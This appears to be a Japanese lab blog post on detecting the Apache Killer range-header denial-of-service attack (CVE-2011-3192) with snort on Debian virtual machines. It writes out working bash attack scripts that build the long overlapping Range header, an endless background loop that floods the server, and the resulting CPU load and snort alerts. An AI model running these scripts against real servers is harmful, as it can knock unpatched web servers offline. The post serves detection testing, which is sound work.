侵入検知システムsnortでApachekillerを検出する。(Debian Lenny)
Apache Killer (CVE-2011-3192)
■前提
ホスト:Debian Lenny amd64版
ゲスト:Debian Lenny amd64版
仮想:vmware player
■侵入検知システムsnortの導入
※自身のネットワーク環境に合わせて下さい。
$ sudo apt-get install -y snort
$ sudo /etc/init.d/snort stop
■snortの初期設定
$ sudo cp -pi /etc/snort/snort.conf /etc/snort/snort.eth0.conf
※初期化に成功したら問題ありません。
--== Initialization Complete ==--
$ sudo snort -i lo -be -u snort -g snort -c /etc/snort/snort.conf
$ sudo snort -i eth0 -be -u snort -g snort -c /etc/snort/snort.eth0.conf
$ sudo /etc/init.d/snort start
$ sudo tail -f /var/log/snort/alert
■Apachekillerのperl版がありますが、モジュールってホントに要るの?
http://seclists.org/fulldisclosure/2011/Aug/175
■Apachekillerのperl版のモジュール不要なバージョンもありますが、そんなに面倒なの?
http://pastebin.com/NCDv9eTh
■仕方ないので、bashで書こう。
※以下をcheck.shとして保存、実行する。
---ここから---
THOST="www.vm-x64debian"
TPORT="80"
TREQ="0- 0-0 -1301 -10000"
for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done
THOST=TPORT=TREQ=list=""
----ここまで---
$ chmod +x check.sh
$ ./check.sh 2>&1 | grep HTTP
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=0-\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=0-0\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=-1301\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=-10000\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
■tcpdumpでチェック
※206で返すのもおかしい気がします。
$ sudo tcpdump -X -vvv -i eth0 port 80 | grep -A 1 HTTP
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
0x0030: 0013 011c 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a 1.1..
--
0x0030: 0016 e157 4854 5450 2f31 2e31 2032 3036 ...WHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content
--
0x0030: 0013 0217 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a48 6f73 743a 2077 7777 2e76 1.1..Host:.www.v
--
0x0030: 0016 e252 4854 5450 2f31 2e31 2032 3036 ...RHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content
--
0x0030: 0013 040c 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a 1.1..
--
0x0030: 0016 e447 4854 5450 2f31 2e31 2032 3036 ...GHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content
■check.shをapachekiller.shに変更
apachekiller.shとして以下を保存します。
※絶対に外部には行わない事。
---ここから---
THOST="www.vm-x64debian"
TPORT="80"
TREQ=$(echo -n "0-,";for num in `seq 0 1300`;do echo -n 5-${num}\,;done | sed s/",5-1300,"/""/ ;echo "")
for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done
THOST=TPORT=TREQ=list=""
----ここまで---
■snortで検知することを確認。
$ sudo tail -f /var/log/snort/alert
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[Classification: Web Application Attack] [Priority: 1]
09/17-18:48:32.617945 192.168.164.1:36533 -> 192.168.164.177:80
TCP TTL:64 TOS:0x10 ID:20750 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x47DA0998 Ack: 0x4577B114 Win: 0x2E TcpLen: 32
TCP Options (3) => NOP NOP TS: 1530262 1276251
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-0646][Xref => http://www.securityfocus.com/bid/11245]
■tcpdumpでの確認。Apacheはこのリクエストを「200 OK」で返しています。
※これは確かに危険ですね。
$ sudo tcpdump -X -vvv -i eth0 port 80 | grep -A 1 HTTP
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
0x0030: 0014 698a 4845 4144 202f 2048 5454 502f ..i.HEAD./.HTTP/
0x0040: 312e 310d 0a48 6f73 743a 2077 7777 2e76 1.1..Host:.www.v
--
0x0030: 0018 49c6 4854 5450 2f31 2e31 2032 3030 ..I.HTTP/1.1.200
0x0040: 204f 4b0d 0a44 6174 653a 2053 6174 2c20 .OK..Date:.Sat,.
■一秒ごとにバックグラウンドでapachekiller.shを起動する。
$ for list in `seq 1 30`;do ./apachekiller.sh & sleep 1;done
HTTP/1.1 200 OK
Date: Sat, 17 Sep 2011 09:57:19 GMT
Server: Apache/2.2.9 (Debian)
Last-Modified: Sat, 17 Sep 2011 08:24:30 GMT
ETag: "ea1c8-2d-4ad1ed6ba4b80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 56
Connection: close
Content-Type: text/html
■攻撃される側の仮想マシン側のsnortを止めます。
$ sudo /etc/init.d/snort stop
$ sudo /etc/init.d/snort status
Status of snort daemon(s): eth0 ERROR failed!
$ ps -e | grep snort
■実は猛威を発揮するのは1300以上なんですよね。
※自身の検証端末のみで行う事。
$ (echo -n "0-,";for num in `seq 0 1500`;do echo -n 5-${num}\,;done | sed s/",5-1500,"/""/ ;echo "") > req.txt
■「kill.sh」が本番です。
$ cat kill.sh
THOST="www.vm-x64debian"
TPORT="80"
TREQ=`cat req.txt`
for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done;
THOST=TPORT=TREQ=list=""
■どんどんバックグラウンドに追いやって、画面表示もせずに攻撃します。
$ while true;do ./kill.sh & ./kill.sh & kill.sh & done > /dev/null 2>&1
5秒間隔でのtopコマンドを100回実行して、apacheのログを見てみます。
$ top -b -n 100 -d 5 2>&1 | tee -a top.log
$ grep apache2 top.log | sort -k 9 | tail -20
5803 www-data 20 0 402m 6024 1472 S 25 1.2 0:17.07 apache2
5867 www-data 20 0 402m 5892 1484 S 25 1.2 0:36.58 apache2
5803 www-data 20 0 402m 6084 1472 S 30 1.2 0:21.65 apache2
5867 www-data 20 0 402m 5824 1484 S 31 1.1 0:35.35 apache2
5867 www-data 20 0 402m 5812 1484 S 34 1.1 0:33.75 apache2
5803 www-data 20 0 402m 6084 1472 S 35 1.2 0:23.42 apache2
5803 www-data 20 0 401m 5596 1472 S 37 1.1 0:05.42 apache2
5867 www-data 20 0 402m 5760 1484 S 37 1.1 0:32.03 apache2
5835 www-data 20 0 338m 6012 1476 S 37 1.2 0:27.38 apache2
5615 www-data 20 0 400m 4348 1484 S 40 0.9 0:00.34 apache2
5803 www-data 20 0 401m 5804 1472 S 41 1.1 0:08.71 apache2
5803 www-data 20 0 402m 6060 1472 S 44 1.2 0:19.32 apache2
5835 www-data 20 0 338m 5844 1476 S 45 1.1 0:23.96 apache2
5803 www-data 20 0 402m 6012 1472 S 45 1.2 0:15.78 apache2
5867 www-data 20 0 402m 5944 1484 S 45 1.2 0:39.75 apache2
5775 www-data 20 0 401m 5368 1476 S 49 1.1 0:06.54 apache2
5775 www-data 20 0 401m 5384 1476 S 49 1.1 0:08.97 apache2
5803 www-data 20 0 401m 5936 1472 S 77 1.2 0:13.54 apache2
5835 www-data 20 0 338m 5732 1476 S 97 1.1 0:20.31 apache2
5867 www-data 20 0 401m 5300 1484 S 186 1.0 0:28.88 apache2
■snortを有効にしてみます。
$ sudo /etc/init.d/snort start
$ sudo /etc/init.d/snort status
Status of snort daemon(s): eth0 OK.
■snortが検知している様子
$ sudo tail -f /var/log/snort/alert | grep overflow
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
■1300バイト以上のコンテンツについてや、メモリの利用率の上昇が見られなかったという環境、その他参考URL。
http://webdesignkeys.blog61.fc2.com/blog-entry-99.html
http://pooh.gr.jp/?p=9538
http://bakera.jp/ebi/topic/4512
http://d.hatena.ne.jp/nice20/20110825/p1
■Apache killerは危険〜Apache killerを評価する上での注意〜
http://blog.tokumaru.org/2011/08/apache-killerapache-killer.html
■まとめ
今回はapache2のデフォルトインストール環境で行いました。
45バイトのファイルを56バイトのindex.htmlコンテンツとして、
攻撃効果の低い環境での検証という前提です。
メモリの増加は見られませんでしたが、
CPUの使用率の急激な上昇、子プロセスの複製が行われています。
これだけで、実環境に攻撃しようとは思いません。
snortをインストールしてもログが無いとつまらないので、
結局Apachekiller.shを書く羽目になりました。
□追記(色々試しました)
1499バイトまでの要求をすると以下のようなエラーが出ます。
$ sudo tail -f /var/log/*
==> /var/log/apache2/access.log <==
192.168.164.1 - - [22/Sep/2011:03:24:34 +0900] "HEAD / HTTP/1.1" 400 - "-" "-"
==> /var/log/apache2/error.log <==
[Thu Sep 22 03:24:34 2011] [error] [client 192.168.164.1] request failed: error reading the headers
□1300byteを超えず、コンテンツ側を1300byte以上にします。
$ sudo cp -pi index.html index.html.bak
$ sudo dd if=/dev/zero of=index.html bs=512 count=44+0 records in
4+0 records out
2048 bytes (2.0 kB) copied, 3.8762e-05 s, 52.8 MB/s
□HEADリクエストだとログ中にはサイズが残らないので、GETに変更
(これも修正するべきではないかな。)
2048byteを35byteとして返しています。
192.168.164.1 - - [22/Sep/2011:03:49:01 +0900] "GET / HTTP/1.1" 200 35 "-" "-"
□アクセスログをそのままindex.htmlとして使います。
8124バイトとして扱われます。
$ ls -l /var/log/apache2/access.log | awk '{print $5}'
1170148
$ sudo cp /var/log/apache2/access.log /var/www/index.html
★access.log
192.168.164.1 - - [22/Sep/2011:04:10:39 +0900] "GET / HTTP/1.1" 200 8124 "-" "-"
★応答
Date: Wed, 21 Sep 2011 19:04:19 GMT
Server: Apache/2.2.9 (Debian)
Last-Modified: Wed, 21 Sep 2011 19:01:44 GMT
ETag: "ea1c8-11dae4-4ad7835045600"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 8124
Connection: close
Content-Type: text/html
□後片付け
$ sudo mv /var/www/index.html.bak /var/www/index.html